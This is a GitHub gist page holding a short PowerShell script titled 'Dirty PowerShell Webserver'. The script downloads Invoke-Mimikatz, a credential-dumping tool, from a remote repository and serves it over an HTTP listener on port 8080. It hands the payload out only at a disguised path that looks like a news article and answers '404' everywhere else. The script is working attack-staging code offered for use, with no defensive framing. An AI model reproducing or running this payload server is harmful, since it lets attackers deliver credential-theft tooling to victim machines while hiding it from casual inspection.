Skip to content

Instantly share code, notes, and snippets.

@carnal0wnage
Forked from cobbr/server.ps1
Created June 21, 2018 02:11
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save carnal0wnage/692a4d0ede248957363cc0dffe3137ce to your computer and use it in GitHub Desktop.
Save carnal0wnage/692a4d0ede248957363cc0dffe3137ce to your computer and use it in GitHub Desktop.
Dirty PowerShell Webserver
$mk = (new-object net.webclient).downloadstring("https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1")
$Hso = New-Object Net.HttpListener
$Hso.Prefixes.Add("http://+:8080/")
$Hso.Start()
While ($Hso.IsListening) {
$HC = $Hso.GetContext()
$HRes = $HC.Response
$HRes.Headers.Add("Content-Type","text/plain")
If (($HC.Request).RawUrl -eq '/home/news/a/21/article.html') {
$Buf = [Text.Encoding]::UTF8.GetBytes($mk)
}
Else {
$Buf = [Text.Encoding]::UTF8.GetBytes('404')
}
$HRes.ContentLength64 = $Buf.Length
$HRes.OutputStream.Write($Buf,0,$Buf.Length)
$HRes.Close()
}
$Hso.Stop()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment